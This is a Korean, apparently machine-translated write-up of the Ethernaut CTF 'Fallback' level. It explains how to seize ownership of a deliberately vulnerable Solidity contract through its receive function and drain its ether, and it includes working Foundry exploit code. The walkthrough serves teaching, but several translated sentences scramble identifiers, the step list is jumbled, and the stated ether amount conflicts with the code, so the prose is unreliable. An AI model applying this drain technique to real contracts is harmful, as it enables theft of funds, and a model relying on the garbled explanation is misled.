Ethernaut Challenge #1 솔루션 — 폴백

이것은 "Let's play OpenZeppelin Ethernaut CTF" 시리즈의 1부로서 각 과제를 해결하는 방법을 설명합니다.

The Ethernaut is a Web3/Solidity based wargame created by OpenZeppelin.
Each level is a smart contract that needs to be 'hacked'. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.



과제 #1: 폴백



Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract
  2. you reduce its balance to 0 Things that might help
  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units (see help() command)
  • Fallback methods

Level author(s): Alejandro Santander



이 챌린지의 목표는 Fallback 계약의 소유권을 주장하고 잔액을 0으로 줄이는 것입니다.

계약 연구



가장 먼저 눈에 띄는 것은 사용된 Solidity 컴파일러 버전이 < 0.8.x 입니다. 이것은 계약이 수학 언더플로 및 오버플로 버그가 발생하기 쉽다는 것을 의미합니다.

이 계약은 OpenZeppelinSafeMath 라이브러리를 가져와서 사용하고 있지만 사용하지 않습니다. 적어도 이 특정한 경우에는 여전히 오버플로로 악용할 방법이 없습니다.

계약을 소진하는 유일한 방법은 withdraw가 변수 값msg.sender과 같은 경우에만 호출할 수 있는 owner 함수를 통하는 것입니다(onlyOwner 함수 수정자 참조). 이 기능은 계약의 모든 자금을 owner 주소로 전송합니다.

코드를 살펴보겠습니다.

function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
}


따라서 owner 값을 주소로 변경하는 방법을 찾으면 계약에서 모든 이더를 배출할 수 있습니다.

계약에는 실제로 owner 변수가 msg.sender로 업데이트되는 두 곳이 있습니다.
  • contribute 함수
  • receive 함수

  • 기여 기능




    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }
    


    이 기능을 사용하면 msg.senderwei를 계약에 보낼 수 있습니다. 그것들weicontributions 매핑 변수에 의해 추적되는 사용자의 잔액에 추가됩니다.

    사용자가 기여한 총 기여도가 실제 소유자( contributions[msg.sender] > contributions[owner] )가 기여한 것보다 크면 msg.sender가 새 소유자가 됩니다.

    문제는 소유자의 기여도가 1000 ETH 와 같다는 것입니다. 챌린지 설명 어디에도 쓰여 있지 않지만 사용자가 owner 이상 기여할 수 없는 제한된 양의 ETH로 시작할 것이라고 생각할 수 있습니다. 그래서 우리는 다른 방법을 찾아야 합니다.

    수신 기능



    이것은 트랜잭션의 "데이터"필드에 아무 것도 지정하지 않고 누군가 계약에 약간의 이더를 보낼 때 "자동으로"호출되는 "특수"기능입니다.

    기능이 도입되었을 때 공식Solidity blog post에서 인용:

    A contract can now have only one receive function, declared with the syntax: receive() external payable {…} (without the function keyword).
    It executes on calls to the contract with no data (calldata), e.g. calls made via send() or transfer().
    The function cannot have arguments, cannot return anything and must have external visibility and payable state mutability.



    코드는 다음과 같습니다.

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
    

    receive 함수에서 owner는 트랜잭션과 함께 전송된 msg.sender의 금액이 wei이고 > 0에 대한 우리의 기여가 contributions[msg.sender]인 경우에만 > 0로 업데이트됩니다.

    이 시점에서 우리는 퍼즐을 만들고 도전에서 승리할 수 있는 모든 조각을 가지고 있습니다. 해결책을 보자!

    솔루션 코드



    우리가 해야 할 일은 다음과 같습니다.
  • 0.001 ether 함수를 호출하여 최대 require(contribute 검사를 통과)와 계약에 기여하여 contributions[msg.sender]가 0
  • 보다 크도록
  • 1 wei를 컨트랙트에 직접 전송하여 receive 기능을 트리거하고 새owner가 됩니다.
  • withdraw에 전화를 걸어 계약서에 저장된 모든 ETH를 집으로 가져오세요!

  • Solidity 코드는 다음과 같습니다.

    function exploitLevel() internal override {
        vm.startPrank(player);
    
        // send the minimum amount to become a contributor
        level.contribute{value: 0.0001 ether}();
    
        // send directly to the contract 1 wei, this will allow us to become the new owner
        (bool sent, ) = address(level).call{value: 1}("");
        require(sent, "Failed to send Ether to the level");
    
        // now that we are the owner of the contract withdraw all the funds
        level.withdraw();
    
        vm.stopPrank();
    }
    


    챌린지 오프닝의 전체 솔루션을 읽을 수 있습니다Fallback.t.sol.

    추가 자료


  • OpenZeppelinSafeMath library(Solidity < 0.8에만 필요)
  • receive 함수Solidity blog post

  • 부인 성명



    이 리포지토리의 모든 Solidity 코드, 관행 및 패턴은 DAMN VULNERABLE이며 교육 목적으로만 사용됩니다.

    나는 어떠한 보증도 하지 않으며 이 코드베이스의 사용으로 인해 발생하는 손실에 대해 책임을 지지 않습니다.

    생산에 사용하지 마십시오.

    좋은 웹페이지 즐겨찾기